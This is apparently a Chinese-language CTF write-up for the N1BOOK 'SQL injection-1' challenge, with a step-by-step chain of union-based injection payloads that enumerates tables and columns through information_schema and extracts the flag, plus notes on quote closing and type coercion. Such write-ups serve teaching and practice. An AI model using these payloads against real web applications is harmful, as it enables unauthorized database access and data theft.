写点什么

一道 SQL 注入的简单题 _wp

作者:w010w
  • 2022-10-30
    北京
  • 本文字数:637 字

    阅读完需:约 2 分钟

[N1BOOK]SQL 注入-1



看到最上面 id=1,试一下有无 sql 注入

试一下让参数为假传参 1.1 ?id=1'

 


页面显示错误,再把后面原有的闭合注释掉



页面显示正常,有 sql 注入

到 order by 4 时出现了错误



说明有 3 个字段

?id=1.1' union select 1,2,3 --ww 发现显错位



?id=1.1' union select 1,database(),3 --ww 数据库名 note



?id=1.1' union select 1,database(),table_name from information_schema.tables where table_schema=database() --ww



表名 fl4g

?id=1.1' union select 1,database(),column_name from information_schema.columns where table_schema=database() and table_name='fl4g'  -- w



字段名 fllllag

id=1.1' union select 1,database(),fllllag from fl4g -- w



n1book{union_select_is_so_cool}

*可用 group_concat('|',fllllg)获取该字段所有值,用‘|’分隔

group_concat():用,分隔,联合多行记录的函数

若参数只有一个字段名,联合查询当前字段所有(其实也有一定长度)的记录,并显示在一个字段中

判断是否有引号包裹

没有引号包裹,即数字型,可以直接输入 SQL 语句干扰正常查询

php 源码中 id=".$_GET['id']."

如果有引号包裹,就要闭合引号,再把后面的引号用-- ww 或者 # 注释掉

id='".$_GET['id']."'

有引号包裹的情况,可能是单引号也可能是双引号。单引号的情况较多

原理,数据库查询那里会有强转

若接受的是数字类型,输入的是字符串,那么这个字符串会被强转成数字类型

例如,

'1'=1

'1a'=1

'a'=0 //字符串 a 被强制转换为 0 所以与 0 相等

如果为字符型

?id=3-1 页面显示异常

?id=2a 页面显示正常


发布于: 刚刚阅读数: 4
用户头像

w010w

关注

还未添加个人签名 2022-10-17 加入

还未添加个人简介

评论

发布
暂无评论
一道SQL注入的简单题_wp_sql_w010w_InfoQ写作社区